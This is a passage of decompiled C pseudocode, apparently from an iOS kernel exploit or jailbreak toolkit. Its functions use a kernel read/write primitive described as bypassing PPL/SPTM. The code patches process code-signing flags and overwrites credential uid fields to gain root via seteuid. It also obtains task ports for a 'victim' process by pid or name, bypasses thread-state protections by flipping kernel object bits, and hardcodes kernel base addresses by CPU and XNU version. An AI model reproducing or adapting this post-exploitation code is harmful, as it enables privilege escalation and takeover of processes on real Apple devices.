    {
      v36 = 0;
      do
      {
        v37 = a1 + 24 * v36;
        v38 = *(uint64_t *)(v37 + 6672);
        v39 = *(uint64_t *)(v37 + 6680);
        if ( validate_kaddr_range(a1, v38) )
          v40 = v39 == 0;
        else
          v40 = 1;
        if ( !v40 )
        {
          if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v38 + 8, 8, &v54) )
            return 0;
          if ( v54 == 0x6F74616C75676572LL )
          {
            v41 = 0;
            do
            {
              v42 = v41 + v38;
              if ( !kread_u32(a1, v41 + v38, &v53) )
                break;
              if ( v53 == -17958193 )
              {
                if ( v42 )
                {
                  v44 = (struct_a1 *)calloc(0x128u, 1u);
                  if ( v44 )
                  {
                    v12 = (__int64)v44;
                    krw_ctx_zero_fields(v44, a1);
                    v45 = *(__int128 *)(a1 + 336);
                    *(__int128 *)(v12 + 112) = *(__int128 *)(a1 + 320);
                    *(__int128 *)(v12 + 128) = v45;
                    *(uint64_t *)(v12 + 144) = *(uint64_t *)(a1 + 352);
                    *(uint32_t *)(v12 + 152) = *(uint32_t *)(a1 + 376);
                    *(uint32_t *)(v12 + 56) = *(uint32_t *)(a1 + 384);
                    if ( iosurface_physmap_setup_bool(v12, 0, v42, 0) )
                    {
                      *(uint64_t *)(a1 + 7472) = v12;
                      goto LABEL_9;
                    }
                  }
                }
                return 0;
              }
              v41 += *(unsigned int *)(a1 + 384);
            }
            while ( v41 < v39 );
          }
        }
        ++v36;
      }
      while ( v36 < *(unsigned int *)(a1 + 6304) );
    }
  }
  return 0;
}
// 3B1C4: variable 'v35' is possibly undefined
// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t);

//----- (000000000003B49C) ----------------------------------------------------
mach_vm_address_t __fastcall set_proc_flag_bit7_kwrite(struct_krwCtx *a1, unsigned int a2, int a3)
{
  mach_vm_address_t result; // x0
  mach_vm_address_t v6; // x20
  unsigned int v7; // w9
  int v8; // w10
  int v9; // [xsp+Ch] [xbp-24h] BYREF

  result = get_task_csflags_kaddr(a1, a2);
  if ( result )
  {
    v6 = result;
    result = kread_u32((__int64)a1, result, &v9);
    if ( (uint32_t)result )
    {
      v7 = v9 & 0xFFFFFF7F;
      if ( a3 )
        v8 = 128;
      else
        v8 = 0;
      if ( (v7 | v8) == v9 )
        return 1;
      result = ppl_kwrite32(a1, v6, v7 | v8);
      if ( (uint32_t)result )
        return 1;
    }
  }
  return result;
}

//----- (000000000003B524) ----------------------------------------------------
unsigned __int64 __fastcall get_proc_kobj_exec_flags(struct_krwCtx *a1, unsigned int a2, bool *a3, bool *a4, bool *a5)
{
  unsigned __int64 v9; // x23
  int v10; // w8
  struct_krwCtx *v11; // x0
  int v12; // w1
  bool v13; // zf
  __int64 v14; // x8
  __int64 v15; // x9
  int v16; // w8
  __int64 v17; // x8
  unsigned __int64 v18; // x9
  unsigned int v19; // w8
  bool v20; // zf
  char v21; // w8
  char v23; // [xsp+Fh] [xbp-41h] BYREF
  __int64 v24; // [xsp+10h] [xbp-40h] BYREF
  unsigned int v25; // [xsp+1Ch] [xbp-34h] BYREF

  v25 = 0;
  v9 = task_struct_field_kread(a1, a2);
  if ( v9 )
  {
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
    {
      if ( kread_physmap_decorated(a1, v9 + 176, (unsigned __int64 *)&v24) )
      {
        if ( validate_kaddr_range((__int64)a1, v24) )
        {
          v9 = 1;
          if ( (unsigned int)krw_read_thunk(a1, v24 + 32, 1, &v23) )
          {
            *a4 = v23 != 0;
            *a5 = 0;
            *a3 = 1;
            return v9;
          }
        }
      }
      return 0;
    }
    if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
    {
      if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11) )
        return 0;
      v16 = a1->xnuMajorVersion;
      if ( v16 <= 8791 )
      {
        if ( v16 <= 8018 )
        {
          if ( v16 <= 7194 )
          {
            if ( v16 < 6153 )
              return 0;
            v17 = 239;
            if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(6153, 40, 120, 1023, 1023) )
              v17 = 231;
          }
          else
          {
            v17 = 223;
          }
        }
        else
        {
          v17 = 151;
        }
      }
      else
      {
        v17 = 143;
      }
      if ( !(unsigned int)krw_read_thunk(a1, v17 + v9, 1, &v25) )
        return 0;
      *a5 = (uint8_t)v25 != 0;
      *a4 = 0;
      *a3 = 0;
      return 1;
    }
    v10 = a1->xnuMajorVersion;
    if ( v10 >= 10002 )
    {
      v11 = a1;
      v12 = 18350080;
LABEL_10:
      v13 = !krw_ctx_has_flag(v11, v12);
      v14 = 199;
      v15 = 191;
      goto LABEL_16;
    }
    if ( v10 < 8792 )
    {
      if ( v10 >= 8019 )
      {
        v11 = a1;
        v12 = 1572864;
        goto LABEL_10;
      }
      if ( v10 < 7195 )
      {
        v14 = 271;
        if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(6153, 40, 120, 1023, 1023) )
          v14 = 263;
        goto LABEL_18;
      }
      v13 = !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14);
      v14 = 263;
      v15 = 255;
    }
    else
    {
      v13 = !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14_A15_A16_MASK);
      v14 = 191;
      v15 = 183;
    }
LABEL_16:
    if ( v13 )
      v14 = v15;
LABEL_18:
    if ( !kread_u32((__int64)a1, v14 + v9, &v25) )
      return 0;
    v18 = a1->xnuVersionPacked;
    v19 = v25;
    *a5 = (unsigned __int8)v25 != 0;
    if ( v18 < XNU_VERSION_PACKED(7195, 42, 1, 0, 0) )
    {
      *a3 = (v19 & 0xFF00) != 0;
      v20 = (v19 & 0xFF0000) == 0;
    }
    else
    {
      *a3 = (v19 & 0xFF0000) != 0;
      v20 = HIBYTE(v19) == 0;
    }
    v21 = !v20;
    *a4 = v21;
    return 1;
  }
  return v9;
}

//----- (000000000003B7E0) ----------------------------------------------------
int set_task_special_port_and_patch_uid(struct_krwCtx *ctx, task_inspect_t task, mach_port_t a3)
{
    // FIXME: quite buggy and prone to panic, gotta ASAN later. However all we need is krw with PPL/SPTM bypass so just skip it
    if(1)return 1;
    
    // Check if task already has the right special port
    mach_port_t special_port = 0;
    kern_return_t kr = task_get_special_port(task, 2, &special_port);
    if (kr != KERN_SUCCESS)
        return 0;
    if (special_port == a3)
        return 1;   // already set, nothing to do

    // Check flag: 0x5584001
    if (*(uint32_t *)ctx & 0x5584001) {

        // New path: version > 8018
        uint64_t ver_threshold_old = XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023);
        if (ctx->xnuVersionPacked > ver_threshold_old) {

            // Must be operating on self task
            if (mach_task_self_ != task)
                return 0;

            // Get security token (flavor 0xD)
            uint32_t cnt = 2;
            integer_t task_info_out[2] = {0};
            if (task_info(task, 0xD, task_info_out, &cnt))
                return 0;

            // Get audit token (flavor 0xF)
            cnt = 8;
            audit_token_t audit_token = {0};
            if (task_info(task, 0xF, (task_info_t)&audit_token, &cnt))
                return 0;

            // Get kernel address of task port
            uint64_t task_kaddr = get_task_kobj_and_walk_chain(ctx, task);
            if (!task_kaddr)
                return 0;

            // Read pointer from task_kaddr
            uint64_t kptr = 0;
            if (!kread64_internal(ctx, task_kaddr, &kptr))
                return 0;

            // Translate/canonicalize
            uint64_t obj = maybe_sptm_translate_kaddr(ctx, kptr);
            if (!validate_kaddr_range(ctx, obj))
                return 0;

            // Read credential field at obj+0x18
            uint64_t cred_addr = obj + 0x18;  // x22
            int32_t  cur_uid   = 0;            // [xbp-0x54]
            if (!kread_u32(ctx, cred_addr, &cur_uid))
                return 0;

            // Second version threshold: 0x001F530F027FFFFF
            uint64_t ver_threshold_new = XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023);  // x25

            int32_t  cur_uid2 = 0;  // [xbp-0x58]
            if (ctx->xnuVersionPacked > ver_threshold_new) {
                if (!kread_u32(ctx, obj + 0x20, &cur_uid2))
                    return 0;
            }

            // Determine which port slot we're targeting and compute new uid
            int32_t  new_uid;  // x24 / w24
            int32_t  write_val2; // w2, used for ppl_kwrite32 of cred_addr
            bool     need_v13;   // w27

            if (*(uint32_t *)((uint8_t *)ctx + 0x1920) == a3) {
                // Self task port slot
                new_uid    = 0;
                bool is_new_ver = ctx->xnuVersionPacked > ver_threshold_new;
                bool uid_is_zero = (cur_uid == 0);
                need_v13   = is_new_ver && uid_is_zero;  // ands w27, w10, w11
                write_val2 = need_v13 ? 501 : 0;         // csel w2, #501, wzr
            } else {
                if (*(uint32_t *)((uint8_t *)ctx + 0x1928) != a3)
                    return 0;
                // Other port slot
                new_uid    = cur_uid;    // mov x24, x9
                write_val2 = 0;
                bool is_new_ver = ctx->xnuVersionPacked > ver_threshold_new;
                bool uid_nonzero = (cur_uid != 0);
                need_v13   = is_new_ver && uid_nonzero;
            }

            // Write new uid if changed or need_v13
            // cmp w9, w24; b.ne +776 / tbz w27,#0, +848
            if (cur_uid != new_uid || need_v13) {
                if (ctx->xnuVersionPacked > ver_threshold_new) {
                    if (need_v13) {
                        // ppl_kwrite32(ctx, cred_addr, write_val2)
                        if (!ppl_kwrite32(ctx, cred_addr, write_val2))
                            return 0;
                    }
                    // ppl_kwrite32(ctx, obj+0x20, new_uid)
                    if (!ppl_kwrite32(ctx, obj + 0x20, new_uid))
                        return 0;  // cbnz → return 0, else fall through
                } else {
                    // noppl_kwrite32(ctx, cred_addr, new_uid)
                    if (!noppl_kwrite32(ctx, cred_addr, new_uid))
                        return 0;
                }
            }

            // necp_set_opt_string_6(ctx, mach_task_self_)
            // ldr w1, [x26]  →  x26 = &mach_task_self_, so w1 = mach_task_self_
            if (!necp_set_opt_string_6(ctx, mach_task_self_))
                return 0;

            // Version check again
            if (ctx->xnuVersionPacked > ver_threshold_new && vm_attr_increment_offset_check(ctx, obj)) {
                return 0;  // cbnz → return 0
            }

            // validate_kaddr_range(ctx, ctx->field_0x398)
            if (validate_kaddr_range(ctx, *(uint64_t *)((uint8_t *)ctx + 0x398))) {
                // necp_set_opt_string_7(ctx, ctx->field_0x37c, 0)
                if (!necp_set_opt_string_7(ctx,
                               *(uint32_t *)((uint8_t *)ctx + 0x37c),
                               0))
                    return 0;
            }

            // seteuid(new_uid)
            if (seteuid(new_uid))
                return 0;

            if (ctx->xnuVersionPacked > ver_threshold_new) {
                // Re-read task_kaddr to verify it hasn't changed
                uint64_t kptr2 = 0;
                if (!kread64_internal(ctx, task_kaddr, &kptr2))
                    return 0;

                uint64_t saved_kptr = *(uint64_t *)((uint8_t *)ctx + 0x10);
                // [sp+0x10] was the first kptr read
                if (kptr2 != saved_kptr) {
                    if (!kwrite64_dispatch(ctx, task_kaddr, saved_kptr))
                        return 0;
                }
            }

            // validate_kaddr_range(ctx, ctx->field_0x398) again
            if (validate_kaddr_range(ctx, *(uint64_t *)((uint8_t *)ctx + 0x398))) {
                // necp_set_opt_string_7(ctx, ctx->field_0x37c, ctx->field_0x3a8)
                if (!necp_set_opt_string_7(ctx,
                               *(uint32_t *)((uint8_t *)ctx + 0x37c),
                               *(uint64_t *)((uint8_t *)ctx + 0x3a8)))
                    return 0;
            }

            // Restore uid if changed
            // ldur w2,[xbp-0x54] = cur_uid; cmp w2,w24 (new_uid)
            // orr w8,cset_ne,w27
            if (cur_uid != new_uid || need_v13) {
                if (ctx->xnuVersionPacked > ver_threshold_new) {
                    if (need_v13) {
                        if (!ppl_kwrite32(ctx, cred_addr, cur_uid))
                            return 0;
                    }
                    // ppl_kwrite32(ctx, obj+0x20, cur_uid2)
                    if (ppl_kwrite32(ctx, obj + 0x20, cur_uid2))
                        return 0;  // cbnz → return 0
                } else {
                    if (!noppl_kwrite32(ctx, cred_addr, cur_uid))
                        return 0;
                }
            }

            // check_task_dyld_info_versioned(ctx, task, 1, task_info_out, 8)
            if (check_task_dyld_info_versioned(ctx, task, 1, task_info_out, 8)) {
                // check_task_dyld_info_versioned(ctx, task, 3, &audit_token, 32)
                check_task_dyld_info_versioned(ctx, task, 3, &audit_token, 32);
            }

            return 0;

        } else {
            // Old path: version <= 8018
            // Use host_security_set_task_token

            host_security_t host_sec = *(uint32_t *)((uint8_t *)ctx + 0x1924);

            uint32_t cnt = 2;
            integer_t task_info_out[2] = {0};
            if (task_info(task, 0xD, task_info_out, &cnt))
                return 0;

            cnt = 8;
            audit_token_t audit_token = {0};
            if (task_info(task, 0xF, (task_info_t)&audit_token, &cnt)) {
                return 0;
            }

            security_token_t sec_token = *(security_token_t *)task_info_out;
            // Copy audit_token to local (ldp q0,q1 / stp q0,q1)
            audit_token_t audit_copy = audit_token;

            kern_return_t r = host_security_set_task_token(
                host_sec, task, sec_token, audit_copy, a3);

            return (r == KERN_SUCCESS) ? 1 : 0;
        }

    } else {
        // Flag not set — use port kaddr write path

        uint32_t offset = get_task_pid_offset(ctx);  // field offset
        if (!offset)
            return 0;

        uint64_t task_kaddr = get_task_kobject_addr(ctx, task);
        if (!task_kaddr)
            return 0;

        uint64_t target_addr = task_kaddr + offset;  // add x20,x0,w21 uxtw

        uint64_t cur_val = 0;
        if (!kread64(ctx, target_addr, &cur_val))
            return 0;

        if (!validate_kaddr_range(ctx, cur_val))
            return 0;

        // Determine new value to write
        // cmn w24, #1 → checks a3 == -1 (MACH_PORT_NULL-ish)
        // csetm x21, eq → x21 = (a3==-1) ? -1 : 0
        uint64_t new_val;
        if ((uint32_t)(a3 + 1) < 2) {
            // a3 is 0 or -1
            new_val = (a3 == (mach_port_t)-1) ? (uint64_t)-1 : 0;
        } else {
            uint64_t ipc_port = task_self_get_ipc_port(ctx, a3);
            if (!ipc_port)
                return 0;
            if (kread_and_vm_attr_double(ctx, ipc_port))
                return 0;
            new_val = ipc_port;
        }

        // kwrite64, return 1 on failure, 0 on success
        int wr = kwrite64(ctx, target_addr, new_val);
        return (wr != 0) ? 1 : 0;
    }
}
// 3BB7C: variable 'v22' is possibly undefined
// 3BBC8: variable 'v23' is possibly undefined
// 3BBEC: variable 'v24' is possibly undefined

//----- (000000000003BC88) ----------------------------------------------------
bool __fastcall real_task_for_pid(__int64 a1, int a2, mach_port_name_t *a3)
{
  return krw_task_for_pid_or_name_ret_ptr(a1, a2, 0, a3);
}

//----- (000000000003BC94) ----------------------------------------------------
bool __fastcall real_task_for_pid_or_name(
        __int64 a1,
        int victim_pid,
        const char *victim_process_name,
        mach_port_name_t *out_task)
{
  mach_port_t v8; // w20
  kern_return_t v9; // w0
  __int64 v10; // x8
  unsigned int v11; // w1
  unsigned __int64 v12; // x0
  __int64 v13; // x0
  int v14; // w9
  unsigned __int64 v15; // x10
  __int64 v16; // x11
  __int64 v17; // x10
  unsigned __int64 v19; // [xsp+8h] [xbp-28h] BYREF

  if ( victim_pid < 1 || getpid() != victim_pid )
  {
    v11 = *(uint32_t *)(a1 + 6428);
    if ( !v11 )
      v11 = *(uint32_t *)(a1 + 6424);
    v12 = get_task_kobject_addr((struct_krwCtx *)a1, v11);
    if ( !v12 )
      return 0;
    if ( victim_process_name )
    {
      v13 = krw_task_for_name(a1, v12, victim_process_name);
      if ( !v13 )
        return 0;
    }
    else
    {
      v13 = krw_task_for_pid_0((struct_krwCtx *)a1, v12, victim_pid);
      if ( !v13 )
        return 0;
    }
    v10 = 0;
    v14 = *(uint32_t *)(a1 + 320);
    if ( v14 > 8791 )
    {
      v17 = 200;
      if ( v14 != 8792 && v14 != 8796 && v14 != 10002 )
        return v10;
    }
    else
    {
      if ( (unsigned int)(v14 - 8019) < 2 )
      {
        v15 = XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023);
        v16 = 208;
      }
      else
      {
        v15 = XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023);
        v16 = 240;
        if ( v14 != 6153 && v14 != 7195 )
          return v10;
      }
      if ( *(uint64_t *)(a1 + 344) <= v15 )
        v17 = 248;
      else
        v17 = v16;
    }
    if ( kread_physmap_decorated((struct_krwCtx *)a1, v17 + v13, &v19) && validate_kaddr_range(a1, v19) )
      return (unsigned int)plist_elem_is_string_6((struct_krwCtx *)a1, v19, out_task) == 0;
    return 0;
  }
  v8 = mach_task_self_;
  v9 = mach_port_mod_refs(mach_task_self_, mach_task_self_, 0, 1);
  v10 = 0;
  if ( !v9 )
  {
    *out_task = v8;
    return 1;
  }
  return v10;
}

//----- (000000000003BE3C) ----------------------------------------------------
bool __fastcall set_thread_state_versioned(
        struct_krwCtx *a1,
        int a2,
        thread_act_t a3,
        thread_state_flavor_t a4,
        natural_t *a5,
        mach_msg_type_number_t a6)
{
  bool v11; // zf
  int v12; // w20
  int xnuMajorVersion; // w8
  bool v15; // cc
  int v16; // w8
  unsigned int v17; // w28
  int v18; // w9
  unsigned int v19; // w26
  int v20; // w27
  unsigned int v21; // w24
  mach_port_t v22; // w0
  unsigned __int64 v23; // x0
  unsigned __int64 v24; // x25
  int v25; // w25
  unsigned __int64 v26; // x0
  unsigned __int64 v27; // x26
  __int64 v28; // x28
  __int64 v29; // x26
  int v30; // w24
  uint32_t bufSize[3]; // [xsp+4h] [xbp-6Ch] BYREF
  __int64 v32; // [xsp+10h] [xbp-60h] BYREF
  int v33; // [xsp+1Ch] [xbp-54h] BYREF

  if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(7195, 0, 46, 0, 0)
    || ((a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 ? (v11 = mach_task_self_ == a2) : (v11 = 1), v11) )
  {
    v12 = thread_set_state_with_kobj_offset(a1, a3, a4, a5, a6);
    return v12 == 0;
  }
  v33 = 0;
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion > 8791 )
  {
    if ( xnuMajorVersion != 8792 && xnuMajorVersion != 8796 && xnuMajorVersion != 10002 )
      return 0;
  }
  else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 )
  {
    if ( xnuMajorVersion != 7195 )
      return 0;
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14) )
    {
      v15 = a1->xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023);
      v16 = 1304;
    }
    else
    {
      if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A13) )
      {
        if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12) )
        {
          v17 = 0;
LABEL_42:
          v21 = v17 - 9;
          v20 = 1;
          v19 = 1;
          goto LABEL_43;
        }
        v15 = a1->xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023);
        v16 = 1288;
        v18 = 352;
LABEL_26:
        if ( v15 )
          v17 = v18;
        else
          v17 = v16;
        goto LABEL_42;
      }
      v15 = a1->xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023);
      v16 = 1296;
    }
    v18 = 360;
    goto LABEL_26;
  }
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A17) )
  {
    v17 = 448;
  }
  else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_A16_MASK) )
  {
    v17 = 368;
  }
  else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A13_A14_MASK) )
  {
    v17 = 360;
  }
  else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12) )
  {
    v17 = 352;
  }
  else
  {
    v17 = 0;
  }
  if ( a1->xnuMajorVersion < 8792 )
    goto LABEL_42;
  v17 -= 8;
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12) )
  {
    v19 = 4;
    v20 = 2;
    v21 = 228;
  }
  else
  {
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A17) )
      v21 = 316;
    else
      v21 = 236;
    v19 = 4;
    v20 = 2;
  }
LABEL_43:
  if ( !v17 )
    return 0;
  v22 = mach_thread_self();
  v23 = get_task_kobject_addr(a1, v22);
  if ( !v23 )
    return 0;
  v24 = v23;
  bufSize[0] = v19;
  v32 = 0;
  if ( !(unsigned int)krw_read_thunk(a1, v23 + v17, 8, &v32) )
    return 0;
  if ( !(unsigned int)krw_read_thunk(a1, v24 + v21, v19, &v33) )
    return 0;
  v25 = v33;
  v26 = get_task_kobject_addr(a1, a3);
  if ( !v26 )
    return 0;
  v27 = v26;
  *(uint64_t *)&bufSize[1] = 0;
  v28 = v26 + v17;
  if ( !(unsigned int)krw_read_thunk(a1, v28, 8, &bufSize[1]) )
    return 0;
  v29 = v27 + v21;
  if ( !(unsigned int)krw_read_thunk(a1, v29, bufSize[0], &v33) )
    return 0;
  v30 = v33;
  if ( v32 != *(uint64_t *)&bufSize[1] && !(unsigned int)kwrite_with_retry((__int64)a1, v28, (__int64)&v32, 8) )
    return 0;
  if ( (v25 & v20) == 0 || (v30 & v20) != 0 )
  {
    v12 = thread_set_state_with_kobj_offset(a1, a3, a4, a5, a6);
  }
  else
  {
    v33 = v33 & ~v20 | v25 & v20;
    if ( !(unsigned int)kwrite_with_retry((__int64)a1, v29, (__int64)&v33, bufSize[0]) )
      return 0;
    v12 = thread_set_state_with_kobj_offset(a1, a3, a4, a5, a6);
    v33 &= ~v20;
    if ( !(unsigned int)kwrite_with_retry((__int64)a1, v29, (__int64)&v33, bufSize[0]) )
      return 0;
  }
  if ( v32 == *(uint64_t *)&bufSize[1] || (unsigned int)kwrite_with_retry((__int64)a1, v28, (__int64)&bufSize[1], 8) )
    return v12 == 0;
  return 0;
}

//----- (000000000003C25C) ----------------------------------------------------
__int64 __fastcall thread_set_state_with_kobj_offset(
        struct_krwCtx *a1,
        thread_act_t target_act,
        thread_state_flavor_t flavor,
        thread_state_t new_state,
        mach_msg_type_number_t new_stateCnt)
{
  int xnuMajorVersion; // w25
  __int64 v11; // x24
  __int64 v12; // x24
  __int64 v13; // x20
  unsigned __int64 v14; // x0
  __int16 v16; // [xsp+Ch] [xbp-44h] BYREF
  __int16 v17; // [xsp+Eh] [xbp-42h] BYREF

  v17 = 0;
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion < 8796 )
  {
    v12 = 0;
  }
  else
  {
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A17) )
    {
      v11 = 192;
    }
    else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK) )
    {
      v11 = 112;
    }
    else
    {
      v11 = 184;
    }
    v14 = get_task_kobject_addr(a1, target_act);
    if ( !v14 )
      return 5;
    v12 = v14 + v11;
    if ( !(unsigned int)krw_read_thunk(a1, v12, 2, &v17) )
      return 5;
    if ( (v17 & 0x80000000) == 0 )
    {
      v16 = v17 | 0x8000;
      if ( !(unsigned int)kwrite_with_retry((__int64)a1, v12, (__int64)&v16, 2) )
        return 5;
    }
  }
  v13 = thread_set_state(target_act, flavor, new_state, new_stateCnt);
  if ( xnuMajorVersion >= 8796 && (v17 & 0x80000000) == 0 )
    kwrite_with_retry((__int64)a1, v12, (__int64)&v17, 2);
  return v13;
}

//----- (000000000003C398) ----------------------------------------------------
unsigned __int64 __fastcall find_kernel_base_ptr(struct_krwCtx *a1)
{
  unsigned __int64 result; // x0
  int xnuMajorVersion; // w8
  bool v4; // zf
  int v5; // w9

  result = 0;
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion > 8791 )
  {
    v4 = xnuMajorVersion == 8792 || xnuMajorVersion == 10002;
    v5 = 8796;
  }
  else
  {
    v4 = (unsigned int)(xnuMajorVersion - 8019) < 2 || xnuMajorVersion == 6153;
    v5 = 7195;
  }
  if ( v4 || xnuMajorVersion == v5 )
  {
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CS_TXM) )
    {
      return 0xFFFFFFF027004000LL;
    }
    else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CS_PPL_MAYBE) )
    {
      return 0xFFFFFE0007004000LL;
    }
    else
    {
      return 0xFFFFFFF007004000LL;
    }
  }
  return result;
}

//----- (000000000003C450) ----------------------------------------------------
__int64 __fastcall refresh_target_task_port(__int64 a1, unsigned int a2, int a3, uint8_t *a4)
{
  __int64 v8; // x19
  unsigned __int64 v9; // x0
  unsigned __int64 v10; // x24
  unsigned __int64 v11; // x25
  int v12; // w8
  int v15; // w28
  unsigned int v16; // w0
  __int64 v17; // x25
  unsigned __int64 v18; // x26
  unsigned int v19; // w25
  int has_flag; // w0
  int v21; // w9
  int v22; // w10
  __int128 v23; // q0
  int v24; // w0
  __int64 v25; // x24
  unsigned __int64 v26; // x24
  __int128 v27; // q0
  int v28; // w0
  uint32_t length[3]; // [xsp+4h] [xbp-28Ch] BYREF
  int v31; // [xsp+10h] [xbp-280h] BYREF
  int v32; // [xsp+14h] [xbp-27Ch] BYREF
  __int64 address; // [xsp+18h] [xbp-278h] BYREF
  __int128 newBytes; // [xsp+20h] [xbp-270h] BYREF
  __int128 v35; // [xsp+30h] [xbp-260h]
  __int128 v36; // [xsp+40h] [xbp-250h]
  __int128 v37; // [xsp+50h] [xbp-240h]
  __int128 v38; // [xsp+60h] [xbp-230h]
  __int128 v39; // [xsp+70h] [xbp-220h]
  __int128 v40; // [xsp+80h] [xbp-210h]
  __int128 v41; // [xsp+90h] [xbp-200h]
  __int128 v42; // [xsp+A0h] [xbp-1F0h]
  __int128 v43; // [xsp+B0h] [xbp-1E0h]
  __int128 v44; // [xsp+C0h] [xbp-1D0h]
  __int128 v45; // [xsp+D0h] [xbp-1C0h]
  __int128 v46; // [xsp+E0h] [xbp-1B0h]
  __int128 v47; // [xsp+F0h] [xbp-1A0h]
  __int128 v48; // [xsp+100h] [xbp-190h]
  __int128 v49; // [xsp+110h] [xbp-180h]
  __int128 v50; // [xsp+120h] [xbp-170h]
  __int128 v51; // [xsp+130h] [xbp-160h]
  __int128 v52; // [xsp+140h] [xbp-150h]
  __int128 v53; // [xsp+150h] [xbp-140h]
  __int128 v54; // [xsp+160h] [xbp-130h]
  __int128 v55; // [xsp+170h] [xbp-120h]
  __int128 v56; // [xsp+180h] [xbp-110h]
  __int128 v57; // [xsp+190h] [xbp-100h]
  __int128 v58; // [xsp+1A0h] [xbp-F0h]
  __int128 v59; // [xsp+1B0h] [xbp-E0h]
  __int128 v60; // [xsp+1C0h] [xbp-D0h]
  __int128 v61; // [xsp+1D0h] [xbp-C0h]
  __int128 v62; // [xsp+1E0h] [xbp-B0h]
  __int128 v63; // [xsp+1F0h] [xbp-A0h]
  __int128 v64; // [xsp+200h] [xbp-90h]
  __int128 v65; // [xsp+210h] [xbp-80h]

  v8 = 163855;
  address = 0;
  v9 = get_task_kobject_addr((struct_krwCtx *)a1, a2);
  *(uint64_t *)&length[1] = 0;
  if ( !v9 )
    return 163854;
  v10 = v9;
  v11 = *(uint64_t *)(a1 + 344);
  v12 = *(uint32_t *)(a1 + 320);
  if ( v11 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
  {
    if ( v12 == 8019 )
    {
      if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A15) )
      {
        v19 = 1016;
      }
      else if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) )
      {
        v19 = 1000;
      }
      else
      {
        v19 = 976;
      }
    }
    else
    {
      if ( v12 != 7195 )
        return 163847;
      has_flag = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK);
      if ( has_flag )
        v21 = 976;
      else
        v21 = 960;
      if ( has_flag )
        v22 = 992;
      else
        v22 = 968;
      if ( v11 >= XNU_VERSION_PACKED(7195, 100, 326, 0, 0) )
        v19 = v22;
      else
        v19 = v21;
    }
    v18 = v10 + v19;
    if ( !kread_physmap_decorated((struct_krwCtx *)a1, v18, (unsigned __int64 *)&address) )
      return v8;
    length[0] = 0;
  }
  else
  {
    if ( v12 == 8792 || v12 == 10002 || v12 == 8796 )
      v15 = 72;
    else
      v15 = 0;
    v16 = get_ptrauth_data_ptr_offset((struct_krwCtx *)a1);
    if ( !kread_physmap_decorated((struct_krwCtx *)a1, v10 + v16, (unsigned __int64 *)&length[1]) )
      return v8;
    if ( !validate_kaddr_range(a1, *(__int64 *)&length[1]) )
      return 163878;
    v17 = *(uint64_t *)&length[1];
    v18 = v17 + (unsigned int)get_version_adjusted_offset(a1);
    if ( !kread_physmap_decorated((struct_krwCtx *)a1, v18, (unsigned __int64 *)&address) )
      return v8;
    length[0] = v15;
    v19 = 0;
  }
  if ( !address )
    goto LABEL_58;
  if ( !check_kaddr_in_physmap((struct_krwCtx *)a1, address) )
    return 163878;
  if ( length[0] )
  {
    *(uint64_t *)&v23 = -1;
    *((uint64_t *)&v23 + 1) = -1;
    v64 = v23;
    v65 = v23;
    v62 = v23;
    v63 = v23;
    v60 = v23;
    v61 = v23;
    v58 = v23;
    v59 = v23;
    v56 = v23;
    v57 = v23;
    v54 = v23;
    v55 = v23;
    v52 = v23;
    v53 = v23;
    v50 = v23;
    v51 = v23;
    v48 = v23;
    v49 = v23;
    v46 = v23;
    v47 = v23;
    v44 = v23;
    v45 = v23;
    v42 = v23;
    v43 = v23;
    v41 = v23;
    v39 = v23;
    v40 = v23;
    v37 = v23;
    v38 = v23;
    v35 = v23;
    v36 = v23;
    newBytes = v23;
    if ( !(unsigned int)kwritebuf_universal((uint64_t *)a1, address, &newBytes, length[0]) )
      return 163856;
    goto LABEL_58;
  }
  if ( *(uint32_t *)(a1 + 6448) == -1
    || *(uint32_t *)(a1 + 6452) == -1
    || *(uint32_t *)(a1 + 6464) == -1
